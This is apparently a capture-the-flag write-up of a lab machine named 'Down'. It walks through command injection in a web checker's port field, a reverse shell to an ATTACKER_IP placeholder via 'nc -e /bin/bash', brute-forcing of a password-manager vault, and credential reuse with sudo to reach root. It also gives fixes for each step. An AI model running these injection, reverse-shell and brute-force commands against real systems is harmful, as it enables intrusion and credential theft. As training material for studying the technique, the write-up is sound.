Down
Summary
I discovered an 'Is It Down or Just Me?' web checker on Apache whose TCP expert-mode handler concatenated a user-supplied port value directly into a shell command, enabling unauthenticated OS command injection and an immediate reverse shell as the web-server account (www-data). From that foothold, an encrypted password-manager vault belonging to local user aleks was readable by the web-server process; its master password was brute-forced in seconds from a short wordlist of words drawn from the application page and hostname, exposing aleks's SSH credential in plaintext.
That same credential was accepted by sudo with no further controls, granting root access to the host without any additional exploitation.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80 $TARGETcurl -s http://$TARGET/curl -s "http://$TARGET/index.php?expertmode=tcp"Exact commands 1
curl -sS -X POST --data-urlencode "ip=$ATTACKER_IP" --data-urlencode 'port=1337 -e /bin/bash' "http://$TARGET/index.php?expertmode=tcp"FixEliminate OS command injection in the TCP expert-mode connectivity handlerCritical
Exact commands 3
nc -lvnp 1337curl -sS --max-time 4 -X POST --data-urlencode "ip=$ATTACKER_IP" --data-urlencode 'port=1337 -e /bin/bash' "http://$TARGET/index.php?expertmode=tcp"python3 -c 'import pty; pty.spawn("/bin/bash")'Exact commands 3
ls -la /home/find /home/aleks -name 'pswm' 2>/dev/nullcat /home/aleks/.local/share/pswm/pswmFixRestrict file permissions on user credential stores so the web-server account cannot read themHigh
Exact commands 2
python3 -m venv cryptovenv && cryptovenv/bin/pip install -q cryptocodecryptovenv/bin/python3 - <<'PY'
import cryptocode
blob = '<pswm_file_contents>'
for pw in ['[REDACTED: recovered credential]', 'down', 'isitdown', 'password', 'pswm']:
result = cryptocode.decrypt(blob, pw)
if result:
print(f'{pw} => {result}')
PYFixUse a strong, random master password for the password manager unrelated to the application or hostnameHigh
Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no aleks@$TARGET 'id'sshpass -p '[REDACTED: recovered credential]' ssh aleks@$TARGET 'cat /home/aleks/user.txt'Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -tt aleks@$TARGET "printf '%s\n' '[REDACTED: recovered credential]' | sudo -S id"sshpass -p '[REDACTED: recovered credential]' ssh -tt aleks@$TARGET "printf '%s\n' '[REDACTED: recovered credential]' | sudo -S sh -c 'cat /root/root.txt; cat /home/aleks/user.txt'"FixEnforce a unique sudo credential; never reuse account passwords for privilege escalationCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |